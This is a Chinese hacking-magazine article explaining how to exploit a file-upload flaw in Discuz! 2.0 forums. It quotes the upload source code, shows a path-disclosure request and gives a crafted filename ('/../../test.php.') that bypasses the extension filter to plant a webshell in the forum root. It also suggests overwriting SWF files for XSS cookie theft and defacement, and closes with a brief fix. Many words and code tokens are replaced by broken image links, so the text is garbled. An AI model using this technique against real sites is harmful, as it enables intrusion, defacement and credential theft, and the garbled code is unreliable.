作者:小华 QQ:56111981 来自:www.hackbase.com
转自作者blog:http://xiaohuar.blogchina.com
文章已发表于黑客X档案12期
DISCUZ论坛以其漂亮
![](/icons/43465de.gif)
界面
![](/icons/43465dou.gif)
完备
![](/icons/43465de.gif)
功能受到很多站长青睐
![](/icons/43465dou.gif)
在PHP论坛中占有很大市场
![](/icons/43465dou.gif)
从各方面都有可以和动网论坛相媲美
![](/icons/43465dou2.gif)
2.0虽然属于老版本
![](/icons/43465dou.gif)
但还是有
![](/icons/43465yi.gif)
大部分用户正在使用
![](/icons/43465dou2.gif)
自从9月DISCUZ爆了
![](/icons/43465yi.gif)
个漏洞以来
![](/icons/43465dou.gif)
随后又相继出来了几个漏洞
![](/icons/43465dou.gif)
但这些漏洞要么影响很少
![](/icons/43465dou.gif)
要么利用起来很困难
![](/icons/43465dou2.gif)
我写过
![](/icons/43465yi.gif)
个DISCUZ利用
![](/icons/43465chengxu.gif)
![](/icons/43465dou.gif)
经常有人问我如何利用
![](/icons/43465dou.gif)
我无法回答
![](/icons/43465dou2.gif)
为此
![](/icons/43465dou.gif)
我读了
![](/icons/43465yi.gif)
下DISCUZ源代码
![](/icons/43465dou.gif)
发现它
![](/icons/43465de.gif)
上传存在问题
![](/icons/43465dou.gif)
经过测试
![](/icons/43465dou.gif)
在WIN2000下和Red Hat下都存在该问题
![](/icons/43465dou.gif)
不过部分UNIX系统不受影响
![](/icons/43465dou2.gif)
文章是写如何发现上传漏洞
![](/icons/43465dou.gif)
给大家和
![](/icons/43465chengxu.gif)
作者
![](/icons/43465yi.gif)
点思路
![](/icons/43465dou.gif)
其中源
![](/icons/43465chengxu.gif)
请去网上下载免费版
![](/icons/43465yi.gif)
漏洞分析
我首先说DISCUZ2或者更高版本
![](/icons/43465de.gif)
![](/icons/43465yi.gif)
个BUG
![](/icons/43465dou2.gif)
它
![](/icons/43465de.gif)
![](/icons/43465include.gif)
/common.php存在物理路径泄露漏洞
![](/icons/43465dou2.gif)
require $discuz_root.'./config.php';
require $discuz_root.'./
![](/icons/43465include.gif)
/global.php';
require $discuz_root.'./
![](/icons/43465include.gif)
/global.php';
require $discuz_root.'./
![](/icons/43465include.gif)
/db_'.$database.'.php';
这段代码中$discuz_root默认是等于"."
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
就是当前目录
![](/icons/43465de.gif)
意思
![](/icons/43465dou.gif)
如果在PHP.ini中没有设置INCLUDE选项
![](/icons/43465dou.gif)
那系统就会报告无法找到config.php
![](/icons/43465dou.gif)
![](/icons/43465yinwei.gif)
系统认为common.php是被其他文件包含
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
而包含它
![](/icons/43465de.gif)
文件是在INCLUDE目录上层
![](/icons/43465dou.gif)
所以代码是这样写
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
但是系统不可能阻止我们直接访问common.php
![](/icons/43465dou2.gif)
所以
![](/icons/43465dou.gif)
如果我们在浏览器提交(我
![](/icons/43465de.gif)
机子为例)
http://localhost/discuz/
![](/icons/43465include.gif)
/common.php
就会泄露物理路径
![](/icons/43465dou2.gif)
好
![](/icons/43465dou.gif)
切入正题
![](/icons/43465dou.gif)
开始分析上传漏洞如何形成以及如何利用
DISCUZ论坛
![](/icons/43465de.gif)
上传
![](/icons/43465hanshu.gif)
是
![](/icons/43465include.gif)
/post.php下面
![](/icons/43465de.gif)
attach_upload
![](/icons/43465dou2.gif)
我
![](/icons/43465yi.gif)
步
![](/icons/43465yi.gif)
步解释
![](/icons/43465chengxu.gif)
![](/icons/43465de.gif)
执行过程
![](/icons/43465dou.gif)
涉及关键代码处我会详细介绍说明
global $discuz_root, $attachsave, $attach, $attach_name, $attach_size, $attach_fname, $attachdir, $maxattachsize, $attachextensions;
//获得全局变量
![](/icons/43465if.gif)
(!function_exists('is_uploaded_file')) {
![](/icons/43465if.gif)
(!is_uploaded_file($attach)) {
![](/icons/43465return.gif)
false;
}
}
![](/icons/43465else.gif)
![](/icons/43465if.gif)
(!($attach != 'none' && $attach && trim($attach_name))) {
![](/icons/43465return.gif)
false;
}
//以上判断$attach变量是不是
![](/icons/43465yi.gif)
个上传文件
![](/icons/43465dou.gif)
不是
![](/icons/43465hanshu.gif)
结束
![](/icons/43465dou.gif)
我们上传
![](/icons/43465de.gif)
肯定是个文件
$attach_name = daddslashes($attach_name);
![](/icons/43465if.gif)
($attachextensions && @!eregi(substr(strrchr($attach_name, '.'), 1), $attachextensions)) {
showmessage('post_attachment_ext_notallowed');
}
//关键代码
![](/icons/43465dou.gif)
判断扩展名是否符合要求
![](/icons/43465dou.gif)
默认安装时$attachextentsions为空
![](/icons/43465dou.gif)
那么这个IF语句就跳过去了
![](/icons/43465dou.gif)
这是我们所希望
![](/icons/43465de.gif)
![](/icons/43465dou2.gif)
但是
![](/icons/43465yi.gif)
般有点安全意识
![](/icons/43465de.gif)
网站WebSite都会设置
![](/icons/43465yi.gif)
下
![](/icons/43465dou.gif)
这个问题少后详细讨论
![](/icons/43465if.gif)
(!$attach_size || ($maxattachsize && $attach_size > $maxattachsize)) {
showmessage('post_attachment_toobig');
}
//判断文件大小
![](/icons/43465dou.gif)
构造
![](/icons/43465yi.gif)
下这句对我们没有效果
![](/icons/43465dou.gif)
跳过不管
$filename = $attach_name;
$extension = strtolower(substr(strrchr($filename, '.'), 1));
![](/icons/43465if.gif)
($attachsave) {
switch($attachsave) {
![](/icons/43465case.gif)
1: $attach_subdir = 'forumid_'.$GLOBALS['fid'];
![](/icons/43465break.gif)
;
![](/icons/43465case.gif)
2: $attach_subdir = 'ext_'.$extension;
![](/icons/43465break.gif)
;
![](/icons/43465case.gif)
3: $attach_subdir = 'month_'.date('ym');
![](/icons/43465break.gif)
;
![](/icons/43465case.gif)
4: $attach_subdir = 'day_'.date('ymd');
![](/icons/43465break.gif)
;
}
![](/icons/43465if.gif)
(!is_dir($discuz_root.'./'.$attachdir.'/'.$attach_subdir)) {
mkdir($discuz_root.'./'.$attachdir.'/'.$attach_subdir, 0777);
}
$attach_fname = $attach_subdir.'/';
}
![](/icons/43465else.gif)
{
$attach_fname = '';
}
//如何保存
![](/icons/43465dou.gif)
默认是放在论坛attachments目录下
![](/icons/43465dou.gif)
不过有
![](/icons/43465de.gif)
论坛根据论坛ID号分类
![](/icons/43465dou.gif)
或者日期分类
![](/icons/43465dou.gif)
根据具体论坛而定
![](/icons/43465dou.gif)
不过对我们影响不大
$filename = substr($filename, 0, strlen($filename) - strlen($extension) - 1);
![](/icons/43465if.gif)
(preg_match("/[\x7f-\xff]+/s", $filename)) {
$filename = str_replace('/', '', base64_encode(substr($filename, 0, 20)));
}
//过滤非ASCII
![](/icons/43465if.gif)
(in_
![](/icons/43465<img src=)
.gif' />($extension,
![](/icons/43465<img src=)
.gif' />('php', 'php3', 'jsp', 'asp', 'cgi', 'pl'))) {
$extension = '_'.$extension;
}
//关键代码
![](/icons/43465dou.gif)
判断扩展名是不是非法
![](/icons/43465dou.gif)
以防有人恶意上传WEBSHELL
![](/icons/43465dou2.gif)
不过我们构造条件要饶过这条语句
$attach_fname .= random(4)."_$filename.$extension";
$attach_saved = false;
$source = stripslashes($discuz_root.'./'.$attachdir.'/'.$attach_fname);
//生成路径
剩下代码是上传文件
![](/icons/43465de.gif)
就省略了
![](/icons/43465dou.gif)
![](/icons/43465yinwei.gif)
要是能执行到这里
![](/icons/43465dou.gif)
和文件任何属性都已无关
![](/icons/43465dou.gif)
所以我也就不解释了(解释好累
![](/icons/43465dou.gif)
呵呵)
好我们开始反向追踪$source变量
![](/icons/43465dou.gif)
可以看到它是 3个变量组成:$discuz_root是定义好
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
$attachdir也是定义好
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
唯
![](/icons/43465yi.gif)
能控制
![](/icons/43465de.gif)
是$attach_fname变量
![](/icons/43465dou2.gif)
好
![](/icons/43465dou.gif)
再追踪$attach_fname变量
![](/icons/43465dou.gif)
由4个随机
![](/icons/43465zifu.gif)
串
![](/icons/43465dou.gif)
![](/icons/43465yi.gif)
个下划线和两个变量组成
$attach_fname .= random(4)."_$filename.$extension";
废话少说
![](/icons/43465dou.gif)
我把这个式子展开
![](/icons/43465dou.gif)
用最原始
![](/icons/43465de.gif)
变量(我们可以构造
![](/icons/43465de.gif)
变量)替换
![](/icons/43465dou.gif)
就变成了如下格式(别和我说没学过代数),随机串用abcd表示
$extension=strtolower(substr(strrchr($attach_name, '.'), 1));
$filename=substr($attach_name, 0, strlen($attach_name) - strlen($extension) - 1);
$attach_fname="abcd_$filename.$extentsion";
其中$attach_name是我们提交
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
我们按正常思维提交
![](/icons/43465yi.gif)
个图片文件
![](/icons/43465dou.gif)
得到如下结果
$attach_name="test.jpg"
$extension="jpg"
$filename="test"
$attach_fname="abcd_test.jpg"
看到结果是如何生成
![](/icons/43465de.gif)
了吧?我们按非正常思维就要得到SHELL了
![](/icons/43465dou.gif)
看如何利用漏洞
2 漏洞变换利用
通过上面
![](/icons/43465de.gif)
分析
![](/icons/43465dou.gif)
大家已经知道
![](/icons/43465chengxu.gif)
如何运行
![](/icons/43465dou2.gif)
我直接给出
![](/icons/43465yi.gif)
个得到WEBSHELL
![](/icons/43465de.gif)
思路方法
![](/icons/43465dou.gif)
并分析是如何跳过
![](/icons/43465chengxu.gif)
检查
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
其他
![](/icons/43465de.gif)
利用思路方法大家可以仁者见仁
![](/icons/43465dou.gif)
智者见智
我们把$attach_name
![](/icons/43465de.gif)
值设为"/../../test.php."(注意最后有个点)
![](/icons/43465dou2.gif)
至于为什么$attach_name我们可以构造
![](/icons/43465dou.gif)
而且是任意构造
![](/icons/43465dou2.gif)
这就需要点PHP脚本知识和HTTP协议
![](/icons/43465de.gif)
基础
![](/icons/43465dou.gif)
篇幅有限
![](/icons/43465dou.gif)
不再介绍
![](/icons/43465dou2.gif)
再有
![](/icons/43465yinwei.gif)
本文文章较长
![](/icons/43465dou.gif)
就不给数据包提交过程
![](/icons/43465dou.gif)
附有PERL源码
![](/icons/43465dou.gif)
大家可以查看文件名构造部分
![](/icons/43465dou2.gif)
下面给出如何绕过验证
![](/icons/43465dou.gif)
分析关键代码
![](/icons/43465if.gif)
($attachextensions && @!eregi(substr(strrchr($attach_name, '.'), 1), $attachextensions)) {
showmessage('post_attachment_ext_notallowed');
}
很显然
![](/icons/43465dou.gif)
如果$attachextensions为空
![](/icons/43465dou.gif)
这句就无条件跳过
![](/icons/43465dou.gif)
如果设置了$attachextensions类似为"jpg,g
![](/icons/43465if.gif)
,txt,zip,rar"形式
![](/icons/43465dou.gif)
那我们刚才
![](/icons/43465de.gif)
构造就无效了
![](/icons/43465dou.gif)
系统会报错
![](/icons/43465dou.gif)
这种情况如何利用等会再说
![](/icons/43465dou.gif)
这里我们假设这句能跳过执行
$extension = strtolower(substr(strrchr($filename, '.'), 1));
这里
![](/icons/43465de.gif)
$filename值是我们提交
![](/icons/43465de.gif)
为"/../../test.php.",执行这句后
![](/icons/43465dou.gif)
$extension就为空了
$filename = substr($filename, 0, strlen($filename) - strlen($extension) - 1);
同上
![](/icons/43465dou.gif)
执行完这句后$filename就等于"/../../test.php",注意最后没有点
![](/icons/43465if.gif)
(in_
![](/icons/43465<img src=)
.gif' />($extension,
![](/icons/43465<img src=)
.gif' />('php', 'php3', 'jsp', 'asp', 'cgi', 'pl'))) {
$extension = '_'.$extension;
}
![](/icons/43465yinwei.gif)
$extension为空
![](/icons/43465dou.gif)
所以这句跳过去了
到此$attach_fname="abcd_/../../test.php." (随机串用abcd代替)
我们假设$discuz_root="e:/www/discuz",那么
$source="e:/www/discuz/attachments/abcd_/../../test.php."
看到了吧
![](/icons/43465dou.gif)
经过我们构造后文件名就变成了上面
![](/icons/43465de.gif)
样子
![](/icons/43465dou.gif)
保存到哪里不用再说了吧?
![](/icons/43465yinwei.gif)
WINDOWS系统会忽略文件最后
![](/icons/43465de.gif)
点号
![](/icons/43465dou.gif)
而LINUX系统虽然保留点号
![](/icons/43465dou.gif)
但依然阻挡不了我们获得SHELL
![](/icons/43465dou2.gif)
这样我们就把自己
![](/icons/43465de.gif)
SHELL传到了论坛根目录
![](/icons/43465dou.gif)
如果是LINUX系统
![](/icons/43465dou.gif)
在执行时要带上最后
![](/icons/43465yi.gif)
个点
![](/icons/43465dou.gif)
WINDOWSj就不必了,连接地址如下
http://localhost/discuz/test.php
到此
![](/icons/43465dou.gif)
如何绕过
![](/icons/43465chengxu.gif)
验证
![](/icons/43465de.gif)
以及如何获得SHELL
![](/icons/43465de.gif)
都写完了
![](/icons/43465dou2.gif)
回到刚才
![](/icons/43465de.gif)
疑问
![](/icons/43465dou.gif)
如果系统设置了$attachextensions如何办呢?假设值为"g
![](/icons/43465if.gif)
,jpg,swf,txt,zip,rar",大部分系统都是这样
![](/icons/43465de.gif)
大家
![](/icons/43465yi.gif)
开始可能想不到如何利用
![](/icons/43465dou.gif)
我也是偶然想到
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
这种思路方法虽然价值不大
![](/icons/43465dou.gif)
不过作为
![](/icons/43465yi.gif)
种经验我还是有必要和大家分享
![](/icons/43465yi.gif)
下
![](/icons/43465dou.gif)
要发扬共享精神嘛
![](/icons/43465dou2.gif)
有了上面
![](/icons/43465de.gif)
分析基础
![](/icons/43465dou.gif)
我就不长篇赘述
![](/icons/43465dou.gif)
怕大家看着不耐烦
![](/icons/43465dou2.gif)
我们把$attach_name
![](/icons/43465de.gif)
值构造为"/../../images/default/logo.g
![](/icons/43465if.gif)
",大家应该明白什么意思了吧?就是覆盖系统
![](/icons/43465de.gif)
图片文件
![](/icons/43465dou.gif)
或者任何符合格式
![](/icons/43465de.gif)
文件
![](/icons/43465dou.gif)
包括FLASH文件等
![](/icons/43465dou2.gif)
有什么用呢?覆盖了
![](/icons/43465chengxu.gif)
![](/icons/43465de.gif)
logo图标
![](/icons/43465dou.gif)
确实没什么用
![](/icons/43465dou.gif)
不过搞恶作剧绰绰有余了
![](/icons/43465dou2.gif)
假如你自己做
![](/icons/43465yi.gif)
个图片文件
![](/icons/43465dou.gif)
上面写着"该网站WebSite存在漏洞"等字样
![](/icons/43465dou.gif)
那个管理员肯定吓
![](/icons/43465yi.gif)
跳
![](/icons/43465dou2.gif)
这让我想起来前
![](/icons/43465yi.gif)
个月国内几个安全网站WebSite进行了以改写别人网站WebSite主页为目
![](/icons/43465de.gif)
![](/icons/43465de.gif)
攻击
![](/icons/43465dou.gif)
我不希望大家这样用这个漏洞
![](/icons/43465dou.gif)
损人不利己
![](/icons/43465dou2.gif)
覆盖图片文件没有意义
![](/icons/43465dou.gif)
但覆盖SWF文件就有意义了
![](/icons/43465dou.gif)
我们很容易判断网站WebSiteSWF
![](/icons/43465de.gif)
路径和文件名
![](/icons/43465dou.gif)
而且
![](/icons/43465yi.gif)
般网站WebSite或多或少有SWF文件
![](/icons/43465dou.gif)
我们覆盖了这些文件
![](/icons/43465dou.gif)
就可以做跨站脚本攻击
![](/icons/43465dou.gif)
可别小看XSS
![](/icons/43465dou.gif)
它比SQL注入
![](/icons/43465de.gif)
功能弱不了多少
![](/icons/43465dou.gif)
可以得到用户COOKIE等敏感信息
![](/icons/43465dou2.gif)
由于篇幅限制
![](/icons/43465dou.gif)
也不再赘述
漏洞利用小结:
1.版本必须是2.0(2.x.x可能也受影响)以下
![](/icons/43465dou.gif)
![](/icons/43465yinwei.gif)
3.x以上
![](/icons/43465de.gif)
那个文件名
![](/icons/43465de.gif)
随机串是放在后面
![](/icons/43465dou.gif)
我想了很长时间都不知如何用
![](/icons/43465dou.gif)
如果有高手想出来
![](/icons/43465dou.gif)
可以
![](/icons/43465yi.gif)
起讨论
2.必须可以上传文件
![](/icons/43465dou.gif)
当然要先注册个用户
![](/icons/43465dou.gif)
不过大部分论坛受动网论坛
![](/icons/43465de.gif)
上传漏洞影响都关闭了上传
3.DISCUZ论坛经过了很多人修改
![](/icons/43465dou.gif)
我读
![](/icons/43465de.gif)
是最原始
![](/icons/43465de.gif)
论坛源码
![](/icons/43465dou.gif)
难免有人在修改过程中修改了上传部分
![](/icons/43465dou.gif)
这样肯定会过滤"/,\,.."等敏感
![](/icons/43465zifu.gif)
![](/icons/43465dou.gif)
所以也不受影响
4.有
![](/icons/43465de.gif)
商业论坛虽然显示
![](/icons/43465de.gif)
"Power by DISCUZ2.0 COML"
![](/icons/43465dou.gif)
但实际上早就打了高版本
![](/icons/43465de.gif)
补丁
![](/icons/43465dou.gif)
所以它实战不能算是2.0版本
![](/icons/43465dou.gif)
也不会受漏洞影响
![](/icons/43465de.gif)
5.在实际使用过程中
![](/icons/43465dou.gif)
要具体问题具体分析
![](/icons/43465dou.gif)
可以先上传几个普通图片分析
![](/icons/43465yi.gif)
下
![](/icons/43465dou.gif)
通过分析正常图片
![](/icons/43465de.gif)
路径
![](/icons/43465dou.gif)
可以判断出很多信息
3 漏洞防范
其实漏洞防范很简单
![](/icons/43465dou.gif)
DISCUZ3论坛已经就没这个漏洞了
![](/icons/43465dou.gif)
但也肯定不是万无
![](/icons/43465yi.gif)
失
![](/icons/43465de.gif)
![](/icons/43465dou.gif)
真希望高人能想出利用思路方法
其实它完全可以效法动网论坛
![](/icons/43465dou.gif)
文件名指定
![](/icons/43465dou.gif)
扩展名指定
![](/icons/43465dou2.gif)
文件名根据年月日和时间信息生成
![](/icons/43465dou.gif)
扩展名手工指定可以采用下面思路方法
先判断扩展名合法性
![](/icons/43465dou.gif)
然后
switch($ext)
{
![](/icons/43465case.gif)
"jpg":
$saveExt="jpg";
![](/icons/43465break.gif)
;
![](/icons/43465case.gif)
"g
![](/icons/43465if.gif)
":
$saveExt="g
![](/icons/43465if.gif)
";//中间可以加
![](/icons/43465break.gif)
;dfault:
exit("扩展名非法");
}
上
篇文章: 记
次渗透空间服务器
艰难的旅
下
篇文章: 从上传webshell到突破TCP/IP筛选到3389终端登陆